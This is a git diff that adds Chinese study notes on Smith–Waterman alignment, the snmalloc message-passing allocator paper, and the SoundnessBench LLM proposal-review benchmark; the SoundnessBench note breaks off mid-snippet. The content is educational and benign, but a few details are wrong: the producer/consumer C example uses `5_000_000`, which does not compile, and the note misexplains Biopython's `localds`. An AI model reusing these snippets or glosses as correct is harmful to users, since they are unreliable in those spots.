+## 代码示例 3：调用 Biopython（工程实践）
+
+真实项目里优先用成熟实现（仿射 gap、蛋白矩阵、C 加速）：
+
+```python
+from Bio import pairwise2
+from Bio.SubsMat import MatrixInfo
+
+blosum = MatrixInfo.blosum62
+seq1 = "KEVLAADALQNLGQEFGRK"
+seq2 = "KELAADKLAQNLGKVFGRK"
+
+alignments = pairwise2.align.localds(
+    seq1, seq2, blosum, -10, -1
+)
+best = alignments[0]
+print(f"score={best.score}")
+print(pairwise2.format_alignment(*best))
+```
+
+`localds` = **local** alignment + **d**ayhoff-style matrix + **s**tandard affine gap（开 −10，延 −1 为常见默认）。Biopython 底层即经典 DP；长序列可换 `parasail` 或 NCBI `blast+` 的 `sw` 模块。
+
+## 复杂度与工程优化
+
+| 版本 | 时间 | 说明 |
+|------|------|------|
+| 原文一般 gap | \(O(m^2 n + n^2 m)\) | 枚举 gap 长度 |
+| 线性 gap | \(O(mn)\) | 每格只看相邻三方向 |
+| 仿射 gap (Gotoh) | \(O(mn)\) | 工业标准 |
+| Myers–Miller | \(O(mn)\) 时间，\(O(n)\) 空间 | 长序列省内存 |
+
+GPU / SIMD（如 SWPS3、cuSW）把填表并行化，用于 read 纠错、蛋白质数据库扫描的**精修阶段**。
+
+## 常见误区
+
+1. **把 SW 当数据库搜索引擎**——全库 pairwise 是 \(O(N^2 L^2)\)，不现实；先 BLAST/DIAMOND 再 SW。
+2. **忽略打分矩阵与 gap 参数**——同一对序列，BLOSUM45 vs BLOSUM80 可能得出不同边界；发表结果必须写明参数。
+3. **以为高分一定同源**——还需 Karlin–Altschul 的 E-value；高分也可能随机出现，数据库越大越要谨慎。
+4. **与全局比对混用结论**——远缘蛋白家族分析几乎总是局部优先。
+
+## 与相关工作的关系
+
+```text
+1970  Needleman–Wunsch     全局比对 DP
+1976  Waterman 等          引入 gap 罚分体系
+1981  Smith–Waterman       局部比对 + 负分归零  ← 本篇
+1982  Gotoh                仿射 gap，O(mn)
+1986  Altschul–Erickson    线性空间局部比对
+1988  Myers–Miller         O(n) 空间
+1990  BLAST                启发式 + 极值统计，工程规模化
+```
+
+## 自测题
+
+1. 把递推里的 `0` 去掉，算法变成什么？回溯终点应改到哪里？
+2. 为什么第一行、第一列初始化为 0？若改成 \(-\infty\) 会怎样？
+3. 给定两条仅共享 50 bp 同源区的 10 kb 基因组片段，SW 与 NW 哪个更合适？为什么？
+4. BLAST 的 gapped extension 与 Smith–Waterman 的关系是什么？
+
+## 延伸阅读
+
+- 全局比对对照：Needleman–Wunsch (1970)
+- 数据库搜索与 E-value：[[blast-altschul-1990]]
+- EMBOSS `water` 文档：[https://www.ebi.ac.uk/emboss/](https://www.ebi.ac.uk/emboss/)
+- 原文 PDF：[Identification of Common Molecular Subsequences](http://www.gersteinlab.org/courses/452/09-spring/pdf/sw.pdf)
diff --git a/src/content/docs/papers/snmalloc-2019.md b/src/content/docs/papers/snmalloc-2019.md
new file mode 100644
index 000000000..3f188e6a6
--- /dev/null
+++ b/src/content/docs/papers/snmalloc-2019.md
@@ -0,0 +1,339 @@
+---
+title: snmalloc（ISMM 2019）— 用「消息传递」解决谁分配、谁释放不在同一线程
+来源: https://github.com/microsoft/snmalloc/blob/main/snmalloc.pdf
+日期: 2026-06-13
+子分类: 内核与虚拟化
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**snmalloc**（Scalable Nearly lock-free malloc）是微软研究院与帝国理工合作、在 **ISMM 2019** 上发表的通用内存分配器（Liétar 等，DOI [10.1145/3315573.3329980](https://doi.org/10.1145/3315573.3329980)）。它针对一类极常见、却让传统分配器很难受的工作负载：**对象在 A 线程 `malloc`，却在 B 线程 `free`**——论文称之为 **producer/consumer（生产者/消费者）** 模式。
+
+日常类比：快递站按**收件人小区**分仓。理想情况是「谁买的谁退」——你从自家门口下单，包裹也从同一栋楼退回，仓库账本只在你家抽屉里改一笔，**不用跟全小区抢一把锁**。
+
+但现实里经常是：
+
+- **流水线工人**（消费者线程）干完活就把包装箱扔掉，而箱子是**上游工人**（生产者线程）领的；
+- **垃圾回收线程**集中 `free`，而**业务线程**集中 `malloc`（不少 GC 实现就是这样）。
+
+传统 **thread cache** 分配器（jemalloc、tcmalloc 等）的做法是：每个线程手边攒一堆「刚退回来的空盒子」，下次同尺寸再发。若分配和释放**大致对称**，这招极快。可一旦某线程只扔不收、另一线程只收不扔，就会出现：
+
+- 分配线程的本地 cache **永远见底**，不停向中央堆要货；
+- 释放线程的 cache **越堆越满**，不得不把货送回中央堆——**同步、锁、原子 CAS 风暴**。
+
+snmalloc 换了一条路：**别在线程之间搬空盒子，改成发「退件消息」**。消费者线程不试图自己消化这批空闲块，而是把待释放对象**打包成链表**，异步**投递回当初分配它的那个 allocator**；真正的回收、合并、再分配都在**原主线程**本地完成。跨线程路径**不加锁**，靠 **lock-free MPSC 队列 + 批量发送 + Temporal Radix Tree 路由** 把成千上万次远程 `free` 压成少量原子操作。
+
+论文还提出 **bump pointer–free list** 混合结构：每个 **64 KiB slab** 只需 **64 bit** 元数据，就能同时支持 bump 分配和自由链表回收——元数据开销约为传统位图方案的 **1/8**。
+
+开源实现：<https://github.com/microsoft/snmalloc>（C++ header-only，可 `LD_PRELOAD`，也有 Rust crate）。注意：**2019 论文之后的实现演进很大**（元数据布局、安全加固等），但「消息传递回收远程对象」这条主线保留至今。
+
+## 为什么重要
+
+不理解这篇论文，下面几件事很难讲清楚：
+
+- 为什么 **消息队列、流水线、actor 模型** 里 `free` 性能突然崩掉——瓶颈往往在分配器，而不是你的业务逻辑
+- 为什么 jemalloc / tcmalloc 的 **thread cache** 在「对称多线程 malloc/free」里无敌，却在 **producer/consumer** 里输给 snmalloc
+- 为什么现代系统开始谈 **message passing allocator** 而不只是「再多几个 arena」——这是设计空间里的不同点
+- 为什么 snmalloc 与 **Pony 语言运行时** 有血缘——远程释放队列直接改编自 Pony 的 MPSC 消息队列
+- 为什么 **FaRM、SPEC 2017** 等真实负载里 snmalloc 能与工业界 allocators 同台竞技
+
+论文摘要的结论很直白：在 producer/consumer benchmark 上，**吞吐优于当时主流分配器**（Hoard、jemalloc、tcmalloc、rpmalloc、SuperMalloc 等），且元数据极省。
+
+## 核心概念
+
+### 1. Producer / Consumer 工作负载
+
+| 模式 | 谁分配 | 谁释放 | thread cache 表现 |
+|------|--------|--------|-------------------|
+| 对称 | 各线程自己 | 各线程自己 | 极好，几乎无跨线程同步 |
+| **Producer/consumer** | 线程 A | 线程 B | 差：cache 错位，频繁 flush |
+| GC 风格 | mutator | GC 线程 | 同上，且释放常成批爆发 |
+
+典型场景：无锁队列消费者 `free` 节点、并行 pipeline 最后阶段销毁、跨线程传递的 `std::shared_ptr` 析构。
+
+### 2. 每线程一个 Allocator
+
+snmalloc 为**每个调度线程**绑定一个 **Allocator**（不是 OS 线程硬绑定，但设计上是一对一）。**小对象（< 64 KiB）和中对象（64 KiB–16 MiB）** 的「所有权」属于分配它的那个 allocator；**远程 `free`** 不直接改对方元数据，而是**发消息**。
+
+**大对象（≥ 16 MiB）** 走全局 per-size 的 lock-free 栈，不参与消息传递——大块本来稀少，集中管理更简单。
+
+### 3. 消息传递 vs Thread Caching
+
+| 维度 | Thread caching | snmalloc 消息传递 |
+|------|----------------|-------------------|
+| 跨线程 free | 塞进本线程 cache，满了再同步送回中央 | 打包链表，**异步投递给原 allocator** |
+| 同步点 | cache 满/空时与中央结构争用 | 入队：**一次 fence + 一次 atomic exchange**（批量） |
+| 本地 free | 快 | 同样快：本线程拥有的对象**直接改 slab 元数据** |
+| 适用 | 对称负载 | **不对称、流水线、GC** |
+
+关键洞察：**通信只发生在 deallocation**，且是**异步**的——消费者不必等生产者处理完消息就能继续干活；生产者在自己下次 `malloc`/`free` 时顺带** drain 入站队列**。
+
+### 4. 批量发送（Batching）
+
+若每个远程对象单独入队，仍是「一次 free 一次原子操作」。snmalloc 在发送方线程内先把待释放对象按目标 allocator **串成链表**，当待发对象总大小达到阈值（论文默认 **1 MiB**）时，**每个目标一次** `enqueue_list`——无论链上有多少对象。
+
+被释放对象体内存用来存 **next 指针 + 目标 allocator 标识**，最小对象 **16 B**（两个指针），**不为消息单独 malloc**。
+
+### 5. Temporal Radix Tree（时间 radix 路由）
+
+若每个目标 allocator 维护一条出站链表，要么**上限线程数**写死，要么**动态分配**出站表（又要同步）。
+
+snmalloc 用固定 **2^k 个 bucket**（默认 **k = 6 → 64 个 bucket**），按**目标 allocator 地址的低 k 位**分桶——不是精确按目标分，而是**按地址前缀近似路由**。
+
+flush 时：
+
+1. 把每个 bucket 链表头指向的「代表 allocator」的**入站队列**里推一整条链（**home bucket** 除外）；
+2. **home bucket**（地址低位与**自己**相同的桶）里的消息，用**下一段 k 位**重新分桶；
+3. 交替执行，最多 **⌈N/k⌉** 轮（48 位地址空间、2 KiB 对齐的 allocator → **N = 37**，k = 6 → **最多 7 跳**）。
+
+接收方处理入站消息时：目标是自己的就**当场 free**；否则**转发**到自己的出站 bucket——像网络里的**逐跳转发**。实践中线程数 < 64 时，**多数消息一跳直达**。
+
+### 6. 远程释放队列（Pony MPSC）
+
+每个 allocator 暴露一条 **multi-producer, single-consumer** 队列：
+
+- **入队**（多线程）：`last.next = nullptr` → release fence → `prev = back.exchange(last)` → `prev.next = first`——**单次 atomic exchange**，无 CAS 循环；
+- **出队**（仅 owner 线程）：读 `front.next`，非空则前移 `front`——**出队路径无原子操作**；
+- **不保证线性化**（论文明确引用 Herlihy 的 linearizability）：并发入队时，先完成的入队可能后可见——对**延迟回收**可接受，换更高吞吐。
+
+### 7. Bump pointer + free list（64 bit / 64 KiB slab）
+
+传统位图：16 B 最小粒度 → 64 KiB 要 **512 B** 元数据。snmalloc 的 free list **不以 null 结尾**，而以该 slab 的 **bump 高水位指针** 结尾：
+
+- 分配：沿 bump 向前（快）；
+- 释放：挂回 free list（标准链表）；
+- 空闲发现：沿 list 走，直到碰到 bump 边界。
+
+每个 **64 KiB superslab** 仅 **64 bit** 元数据；free list 节点存在**对象自身的空闲内存**里（in-band），初始化只需把 head 设为 bump 起点。
+
+### 8. 地址空间分层：Chunk → Superslab / Medium slab
+
+| 层级 | 典型大小 | 用途 |
+|------|----------|------|
+| Chunk | 16 MiB（可配） | 与 OS 打交道的大块；large object 可占满 chunk |
+| Superslab | 64 KiB | 小对象容器 |
+| Medium slab | ≤ 16 MiB | 中对象 |
+| Page map | 全局 | 任意内部指针 → 对象大小、owner allocator |
+
+给定指针，**O(1)** 查 pagemap 决定走本地 free 还是远程消息。
+
+### 9. 与 jemalloc / mimalloc 对照
+
+| 维度 | jemalloc | mimalloc | snmalloc |
+|------|----------|----------|----------|
+| 跨线程 free | 还到 arena / tcache，可能同步 | page 的 thread-free 链 + CAS | **消息批送回 owner** |
+| 核心隐喻 | 多抽屉柜（arena） | 每货架三条链（sharding） | **快递退件系统（message passing）** |
+| 强项 | 对称多线程 | 小对象 + 引用计数协作 | **producer/consumer、批量远程释放** |
+| 远程路径锁 | 有（central 结构） | 无锁 CAS 到目标 page | **无锁 MPSC + 批量** |
+
+三篇笔记（jemalloc 2006、mimalloc 2019、snmalloc 2019）正好覆盖工业界 allocator 进化的三个支点：**分片降锁 → 页内分链 → 所有权消息传递**。
+
+## 代码示例
+
+### 示例 1：Producer/Consumer——为什么 thread cache 会痛
+
+下面是最简化的 **单生产者、单消费者** 队列：主线程分配节点，工作线程处理完后释放。这正是 snmalloc 论文里的经典反例场景。
+
+```c
+/* build: cc -O2 -pthread prodcons.c -o prodcons */
+#include <pthread.h>
+#include <stdlib.h>
+#include <stdio.h>
+
+#define QUEUE_CAP 4096
+
+typedef struct Node {
+    int value;
+    struct Node *next;
+} Node;
+
+static Node *queue[QUEUE_CAP];
+static int head, tail;
+static pthread_mutex_t q_mu = PTHREAD_MUTEX_INITIALIZER;
+static pthread_cond_t q_cv = PTHREAD_COND_INITIALIZER;
+
+static void enqueue(Node *n) {
+    pthread_mutex_lock(&q_mu);
+    while ((tail + 1) % QUEUE_CAP == head)
+        pthread_cond_wait(&q_cv, &q_mu);
+    queue[tail] = n;
+    tail = (tail + 1) % QUEUE_CAP;
+    pthread_cond_signal(&q_cv);
+    pthread_mutex_unlock(&q_mu);
+}
+
+static Node *dequeue(void) {
+    pthread_mutex_lock(&q_mu);
+    while (head == tail)
+        pthread_cond_wait(&q_cv, &q_mu);
+    Node *n = queue[head];
+    head = (head + 1) % QUEUE_CAP;
+    pthread_cond_signal(&q_cv);
+    pthread_mutex_unlock(&q_mu);
+    return n;
+}
+
+static void *consumer(void *arg) {
+    (void)arg;
+    for (;;) {
+        Node *n = dequeue();
+        if (!n) break;
+        /* 消费者在 B 线程 free —— 对象却是 A 线程 malloc 的 */
+        free(n);
+    }
+    return NULL;
+}
+
+int main(void) {
+    pthread_t tid;
+    pthread_create(&tid, NULL, consumer, NULL);
+
+    for (int i = 0; i < 5_000_000; i++) {
+        Node *n = malloc(sizeof(Node));  /* 主线程 = producer */
+        n->value = i;
+        enqueue(n);
+    }
+    enqueue(NULL);  /* poison pill */
+    pthread_join(tid, NULL);
+    puts("done");
+    return 0;
+}
+```
+
+**用分配器视角读这段代码**：
+
+1. **主线程**：海量 `malloc(sizeof(Node))`——16 B 请求在 snmalloc 里正好是最小档（两个指针宽）；
+2. **消费者线程**：等量 `free`——对象 **owner 是主线程的 allocator**；
+3. jemalloc/tcmalloc：消费者 thread cache 塞满 16 B 空闲块，不得不 **flush 回 central/arena** → 锁与 cache line 乒乓；
+4. snmalloc：消费者把节点链成 batch，**消息发回主线程 allocator**；主线程下次 `malloc` 时处理入站队列，**在本地 superslab 上回收**。消费者路径：**无锁 push**。
+
+对比 benchmark（需自行安装各 allocator）：
+
+```bash
+# 基线
+./prodcons
+
+# snmalloc（Linux 示例路径因发行版而异）
+LD_PRELOAD=/path/to/libsnmalloc.so ./prodcons
+
+# 对比 jemalloc / mimalloc
+LD_PRELOAD=/usr/lib/libjemalloc.so.2 ./prodcons
+LD_PRELOAD=/path/to/libmimalloc.so ./prodcons
+```
+
+在 producer/consumer 微基准上，snmalloc 论文报告相对 jemalloc/tcmalloc 有**显著吞吐优势**；对称 `malloc`/`free` 同线程则差距缩小——**没有银弹，只有负载匹配**。
+
+### 示例 2：理解「消息体藏在对象里」与批量链表
+
+论文伪代码的核心：远程释放不分配额外消息节点，而是**覆写刚释放对象的内存**为链表节点，再 batch 挂到目标队列。下面用 C 结构体还原论文 §2.2 的数据布局（教学用，非 snmalloc 源码）。
+
+```c
+#include <stdint.h>
+#include <stdatomic.h>
+#include <stddef.h>
+
+/* 最小可分配对象：next + 目标 allocator 标识 */
+typedef struct RemoteObject {
+    struct RemoteObject *next;
+    void *target_allocator;  /* 实际实现里是编码后的 allocator id */
+} RemoteObject;
+
+typedef struct {
+    RemoteObject  front;     /* 哨兵：front 本身不是有效消息 */
+    _Atomic(RemoteObject *) back;
+} RemoteQueue;
+
+/* 单消费者出队：论文称无需原子操作（仅 owner 线程调用） */
+RemoteObject *remote_dequeue(RemoteQueue *q) {
+    if (q->front.next == NULL)
+        return NULL;
+    RemoteObject *first = q->front.next;
+    q->front.next = first->next;
+    return first;
+}
+
+/* 多生产者入队一整条 batch：一次 atomic exchange */
+void remote_enqueue_list(RemoteQueue *q,
+                         RemoteObject *first,
+                         RemoteObject *last) {
+    last->next = NULL;
+    atomic_thread_fence(memory_order_release);
+    RemoteObject *prev = atomic_exchange_explicit(
+        &q->back, last, memory_order_relaxed);
+    prev->next = first;
+}
+
+/* 消费者线程 free 非本线程拥有的对象时 */
+void remote_free(void *my_allocator, void *obj, void *owner_allocator) {
+    RemoteObject *ro = (RemoteObject *)obj;
+    ro->target_allocator = owner_allocator;
+
+    /* 先挂到本线程「出站 bucket」的链表；累计 ≥ 1MiB 再 flush */
+    ro->next = /* outgoing_bucket[hash(owner)].head */;
+    /* ... 达到阈值后 remote_enqueue_list(owner->incoming, chain_first, chain_last) */
+    (void)my_allocator;
+}
+```
+
+**读这段伪代码时记住**：
+
+1. `RemoteObject` 就是用户刚 `free` 的那块 **16 B+** 内存——**零额外堆分配**；
+2. `remote_enqueue_list` 用 `exchange` 而不是 CAS 循环，论文强调在 ARM 等弱内存序上配合 **release/acquire fence**；
+3. 队列**故意放弃线性化**：图 3 里线程 B 先入队完成，却要等线程 A 链接 `prev.next` 后才对消费者可见——换的是**极高入队吞吐**；
+4. 真实 snmalloc 还有 **Temporal Radix Tree** 选路由，不是直接把链推到 `owner->incoming`，但**批量 + MPSC** 思想一致。
+
+现代仓库里更完整的叙述见官方文档 [`docs/AddressSpace.md`](https://github.com/microsoft/snmalloc/blob/main/docs/AddressSpace.md) 与 [`docs/security`](https://github.com/microsoft/snmalloc/blob/main/docs/security)（加固版：元数据隔离、guard page、编码防篡改）。
+
+## 论文实验在说什么
+
+### 微基准
+
+论文使用 SuperMalloc 仓库的 producer/consumer 测试及自研基准，对比 **Hoard、jemalloc、tcmalloc、rpmalloc、scalloc、SuperMalloc、lockfree、lockless、ptmalloc2、TBB malloc** 等。结论要点：
+
+- **Producer/consumer 不对称**时 snmalloc **吞吐领先**；
+- 参数扫描（chunk 大小、bucket 数 k、batch 阈值等）显示设计空间宽广，默认配置已较稳；
+- **元数据占用**因 64 bit/slab 显著低于位图方案，对 cache 友好。
+
+### 真实程序
+
+- **SPEC CPU 2017**：与一流分配器**同一量级**，无「只会微基准」的偏科；
+- **FaRM**（分布式内存数据库风格负载）：体现**跨线程生命周期**的真实压力。
+
+论文也诚实讨论局限：对称负载下 thread cache 方案已极强；snmalloc 的**多跳转发**在极端多线程数时理论上存在延迟上界（7 跳），尽管实践中很少触发。
+
+## 实现演进（2019 → 现在）
+
+读论文时建议同时记住：
+
+| 主题 | 2019 论文 | 后续 main 分支 |
+|------|-----------|----------------|
+| 远程回收 | Temporal Radix + MPSC | **机制保留** |
+| 元数据 / pagemap | 论文 §2.4–2.8 布局 | **大幅重构**（`MetaEntry`、CHERI 友好编码等） |
+| 安全 | 基本未谈 | **snmalloc-safe**：随机化、guard page、边界检查 `memcpy` |
+| 集成 | 研究原型 | header-only、`LD_PRELOAD`、Rust crate |
+
+若目标是**读源码**，从 `Pagemap` + 分配/释放 fast path 入手，比逐行对照 2019 PDF 更高效。
+
+## 小结
+
+| 问题 | snmalloc 的回答 |
+|------|-----------------|
+| 谁分配谁释放不对称怎么办？ | **所有权回归**：远程 `free` = 发消息给 owner allocator |
+| 如何避免远程路径加锁？ | Pony 式 **MPSC 队列** + **批量 exchange** |
+| 目标线程很多，出站表太大？ | **Temporal Radix Tree**：固定 64 bucket，多跳转发 |
+| 元数据太贵？ | **Bump + free list**，64 bit / 64 KiB slab |
+| 适合谁？ | 流水线、消息传递运行时、GC、跨线程释放密集服务 |
+| 不适合谁？ | 单线程或严格同线程 alloc/free——jemalloc/mimalloc 可能更简单 |
+
+一句话：**snmalloc 把跨线程 `free` 从「抢中央锁还货」改成「异步退件给原主」**——在 producer/consumer 世界里，**消息传递比共享缓存更对症**。
+
+## 延伸阅读
+
+- 论文 PDF：<https://github.com/microsoft/snmalloc/blob/main/snmalloc.pdf>
+- ISMM 2019 会议页：<https://conf.researchr.org/details/ismm-2019/ismm-2019-papers/3/snmalloc-A-Message-Passing-Allocator>
+- 同仓库对比笔记：[jemalloc（Evans 2006）](./jemalloc-evans-2006.md)、[Mimalloc（Leijen 2019）](./mimalloc-leijen-2019.md)
+- Pony MPSC 队列渊源：Pony runtime message queue（论文引用 [3,4]）
+- Larson & Krishnan (1998) 多 arena 分配——thread cache 思路前身
+- Herlihy & Wing (1990) linearizability——理解 snmalloc 队列**故意放弃**的性质
diff --git a/src/content/docs/papers/soundness-bench.md b/src/content/docs/papers/soundness-bench.md
new file mode 100644
index 000000000..cf4dc9d21
--- /dev/null
+++ b/src/content/docs/papers/soundness-bench.md
@@ -0,0 +1,331 @@
+---
+title: SoundnessBench — AI 科学家能分清好想法与烂想法吗？
+来源: https://arxiv.org/abs/2605.30329
+日期: 2026-06-13
+子分类: 模型与训练
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：导师审稿 vs 只会夸人的 AI
+
+想象你带一个新生做课题。他每次汇报都说：「这个方向很有前景，实验设计也很完整，建议立刻开跑。」你问：对照组呢？数据会不会泄漏？指标能验证假设吗？他仍然点头：「都没问题。」
+
+三个月后 GPU 烧完，你发现基线没对齐、消融没做、结论根本站不住——而那位「永远乐观」的助手从未在**动手之前**拦住你。
+
+**SoundnessBench**（Ho et al., arXiv:2605.30329）测的正是这类「第一道门」能力：在**还没写代码、还没跑实验**时，大语言模型（LLM）能否判断一个 ML 研究提案在**方法论上是否站得住**。
+
+这和常见 benchmark 不同：
+
+| 类比 | 测什么 | 典型 benchmark |
+|------|--------|----------------|
+| 看成品菜好不好吃 | 复现结果、跑通 pipeline | MLE-Bench、PaperBench |
+| 看选题是否新颖 | 新颖性、影响力预测 | RINoBench、Hindsight |
+| **看菜谱是否合理** | **提案阶段的方法论健全性（soundness）** | **SoundnessBench** |
+
+论文结论很直白：12 个前沿 LLM 在**标准提示**下普遍**乐观偏见**——把低 soundness 提案判成「靠谱」的平均误报率高达 **74.0%**；换成**激进提示**后误报降到 **19.9%**，但把好提案也否掉大半（高 soundness 召回仅 **36.1%**）。当前模型还**不能**单独充当科研 rigor 的自动守门人。
+
+---
+
+## 这篇论文在解决什么问题
+
+### 1. AI Scientist 的「分拣缺口」
+
+The AI Scientist、Agent Laboratory、AutoResearch 等系统已经能：生成假设 → 写代码 → 跑实验 → 写论文。但人类科研里，**真正省时间**的往往是开跑前的 triage：
+
+- 假设是否可检验？
+- 实验能否支持或反驳它？
+- 基线、对照、指标是否匹配任务？
+
+若这一步失灵，自主 agent 不会「加速科学」，只会**规模化烂科学**——在幻觉—实现循环里反复执行结构上像实验、科学上已死的设计。
+
+### 2. 现有评测很少测「执行前否决」
+
+论文对比表（Table 1）指出：多数 agent benchmark 评的是**执行后**工程能力或**事后**影响力，而不是**提案文本**里的方法论缺陷（数据泄漏、错误基线、指标与假设不匹配等）。
+
+SoundnessBench 填补的是：**Pre-execution + 方法论 soundness + 仅提案输入**。
+
+### 3. Soundness 的精确定义（刻意收窄）
+
+论文里的 **scientific soundness** **不是**：
+
+- 论文会不会被接收
+- 想法有多新颖
+- 最终影响力或 citation
+
+而是更窄的问题：
+
+> 给定假设与**计划中的**实验设计，这套设计能否**严格地**检验该假设？
+
+对应 ICLR 审稿里的 **Soundness 子分**（方法论是否严谨），而非 Overall 或 Novelty。
+
+---
+
+## 核心概念
+
+### 1. 提案阶段可恢复的 soundness（recoverable proposal-stage soundness）
+
+评审人看的是**全文**（含结果、写作、呈现）；模型只看**去掉结果的提案**。因此标签是「从提案文本里**能恢复多少**审稿人对方法论的评判」，**不是**预测最终接收结果。
+
+理解这一点很重要：有些缺陷只有跑完实验才暴露；benchmark 测的是**可见的、提案阶段就应警惕的硬伤**。
+
+### 2. SoundnessBench 数据集构成
+
+| 维度 | 说明 |
+|------|------|
+| 规模 | **1,099** 条 ML 研究提案 |
+| 来源 | ICLR 2022–2026 投稿，经筛选的子集 |
+| 子领域 | 16 个（RL、生成模型、NLP、优化、CV 等） |
+| 标签 | 低 soundness **458** 条，高 soundness **641** 条 |
+| 输入 | 假设 + 实验计划 + 相关工作 + 风险因素等（**无实验结果**） |
+| 格式 | 对齐 The AI Scientist-v2 提案结构 |
+
+**标签规则**（基于审稿 soundness 子分均值）：
+
+- 均值 **≥ 3** → high soundness
+- 均值 **≤ 2** → low soundness
+- 中间模糊分剔除，增强类别分离
+
+原始池：35,209 篇投稿、137,940 条评审；经**审稿人一致性过滤**（信心 ≥ 3、soundness 标准差 < 0.15）、desk reject 剔除、提取与审计后得到最终 benchmark。
+
+### 3. 五阶段构建流水线
+
+1. **收集**：ICLR 语料 + 审稿元数据
+2. **打标**：用 soundness 子分，非 acceptance
+3. **提案提取**：Gemini 2.5 Pro 从 PDF **近原文**抽取，**禁止**结果与结论
+4. **验证审计**：原子 claim 分解 + BM25 检索 + LLM 逐条核对（支持率阈值 τ=0.7）
+5. **组装**：通过审计的 1,099 条进入 benchmark
+
+### 4. 两种评测提示（Standard vs Aggressive）
+
+- **Standard**：先写逐步 justification，再输出 `low` / `high` rigor bucket + 1–5 信心分
+- **Aggressive**：默认 **low**，只有证据**明确且充分**时才标 high（压力测试「过度保守」）
+
+论文发现：这不是「调一下 prompt 就能修好」，而是**能力边界 + 提示敏感**——错误在两类之间**搬家**，而非消失。
+
+### 5. 关键数字（12 个 frontier LLM）
+
+**Standard prompt：**
+
+| 指标 | 均值 |
+|------|------|
+| 低 soundness 召回（Low R） | 26.0% |
+| 低 soundness **误报率** | **74.0%**（9/12 模型 > 70%） |
+| 高 soundness 召回（High R） | 91.8% |
+| Macro F1 | 54.9 |
+
+极端案例：LLaMA-3.3-70B、GPT-4o 把 **98% / 94.5%** 的低 soundness 提案标成 high。
+
+**Aggressive prompt：**
+
+| 指标 | 均值 |
+|------|------|
+| 低 soundness 误报率 | 19.9% |
+| 高 soundness 召回 | **36.1%**（7/12 模型 < 40%） |
+| Macro F1 | 49.3 |
+
+GPT-5.4 在 standard 下 Macro F1 **69.7%**（最好之一），aggressive 下跌至 **29.5%** 且几乎全判 low。
+
+### 6. 乐观—脆弱权衡（Optimism–Fragility Tradeoff）
+
+- **乐观偏见**：默认像「只会批准的审稿人」
+- **提示脆弱**：略改决策规则，就从「全放行」滑向「全否决」
+- **规模不救场**：Qwen3.5 同族从 2B 到 122B，standard 下越大模型对**弱提案越宽容**
+- **对抗注入**：向 100 条高 soundness 提案注入严重方法错误后，GPT-5.4 批准率从 77% 降到 1%——说明模型**能**抓显眼硬伤，但对**真实、细微**缺陷仍不够敏锐
+
+### 7. 鲁棒性对照（排除单一混淆）
+
+论文还检验：标签泄漏、ICLR 2026 污染、标题/标识符记忆、篇幅/实验数等表面特征、年份与子领域切片。结论：**乐观模式无法被单一因素解释**；简单启发式反而**过度拒绝**好提案，与 LLM **过度批准**方向相反。
+
+---
+
+## 代码示例 1：解析 SoundnessBench 条目并构造评测输入
+
+数据集为 JSONL（Hugging Face: `hosytuyen/SoundnessBench`）。每条记录包含假设、实验计划、soundness 标签等。下面用 Python 演示如何加载一条提案并拼成论文中的 **HYPOTHESIS + EXPERIMENT** 评测格式。
+
+```python
+import json
+from pathlib import Path
+
+def load_soundnessbench(path: str = "data/soundnessbench.jsonl"):
+    with open(path, encoding="utf-8") as f:
+        for line in f:
+            yield json.loads(line)
+
+def format_experiment_block(experiments: list[dict]) -> str:
+    parts = []
+    for i, exp in enumerate(experiments, start=1):
+        parts.append(f"Experiment {i}")
+        parts.append(f"Description: {exp.get('Description', '')}")
+        parts.append(f"Method: {exp.get('Method', '')}")
+        metrics = exp.get("Evaluation Metrics", exp.get("Metrics", []))
+        if isinstance(metrics, list):
+            metrics = ", ".join(metrics)
+        parts.append(f"Evaluation Metrics: {metrics}")
+    return "\n".join(parts)
+
+def build_eval_prompt(record: dict) -> dict:
+    """对齐论文 Appendix B.1 的 user prompt 字段."""
+    hypothesis = record.get("Short Hypothesis", record.get("hypothesis", ""))
+    experiment = format_experiment_block(record.get("Experiments", []))
+    label = record.get("rigor_bucket", record.get("label"))  # "low" | "high"
+    return {
+        "hypothesis": hypothesis,
+        "experiment": experiment,
+        "gold_label": label,
+        "paper_id": record.get("paper_id", record.get("id")),
+    }
+
+# 用法示意
+for row in load_soundnessbench():
+  if row.get("rigor_bucket") == "low":
+      prompt_fields = build_eval_prompt(row)
+      print(prompt_fields["paper_id"], prompt_fields["gold_label"])
+      break
+```
+
+要点：评测时模型**不应**看到 `gold_label`；输入仅限提案级文本，与论文「results-masked」设定一致。
+
+---
+
+## 代码示例 2：计算混淆矩阵与乐观偏见指标
+
+复现论文核心结论需要：把模型输出的 `rigor_bucket` 与 gold label 对比，并分别算 **Low R**、**High R**、误报率。下面是一个不依赖特定 API 的纯 Python 评估片段。
+
+```python
+from collections import defaultdict
+
+def confusion_and_metrics(preds: list[str], golds: list[str]):
+    """
+    preds/golds: 每个元素为 "low" 或 "high"
+    返回与论文 Tab.2 对齐的 Low R、High R、Macro F1.
+    """
+    assert len(preds) == len(golds)
+    cm = defaultdict(int)  # (gold, pred) -> count
+    for g, p in zip(golds, preds):
+        cm[(g, p)] += 1
+
+    low_total = sum(1 for g in golds if g == "low")
+    high_total = sum(1 for g in golds if g == "high")
+
+    low_recall = cm[("low", "low")] / low_total if low_total else 0.0
+    high_recall = cm[("high", "high")] / high_total if high_total else 0.0
+    # 论文中的「低 soundness 误报率」= 低标签被判成 high 的比例
+    low_false_positive_rate = cm[("low", "high")] / low_total if low_total else 0.0
+
+    def f1_for_class(pos_label: str):
+        tp = cm[(pos_label, pos_label)]
+        fp = cm[("high" if pos_label == "low" else "low", pos_label)]
+        fn = cm[(pos_label, "high" if pos_label == "low" else "low")]
+        prec = tp / (tp + fp) if (tp + fp) else 0.0
+        rec = tp / (tp + fn) if (tp + fn) else 0.0
+        if prec + rec == 0:
+            return 0.0
+        return 2 * prec * rec / (prec + rec)
+
+    macro_f1 = (f1_for_class("low") + f1_for_class("high")) / 2
+
+    return {
+        "confusion": dict(cm),
+        "low_recall": low_recall,
+        "high_recall": high_recall,
+        "low_false_positive_rate": low_false_positive_rate,
+        "macro_f1": macro_f1,
+    }
+
+# 模拟「标准提示下普遍乐观」的预测分布（示意）
+simulated_golds = ["low"] * 458 + ["high"] * 641
+# 74% 的低标签被误判为 high（接近论文均值误报率）
+simulated_preds = (
+    ["high"] * int(0.74 * 458) + ["low"] * (458 - int(0.74 * 458))
+    + ["high"] * int(0.92 * 641) + ["low"] * (641 - int(0.92 * 641))
+)
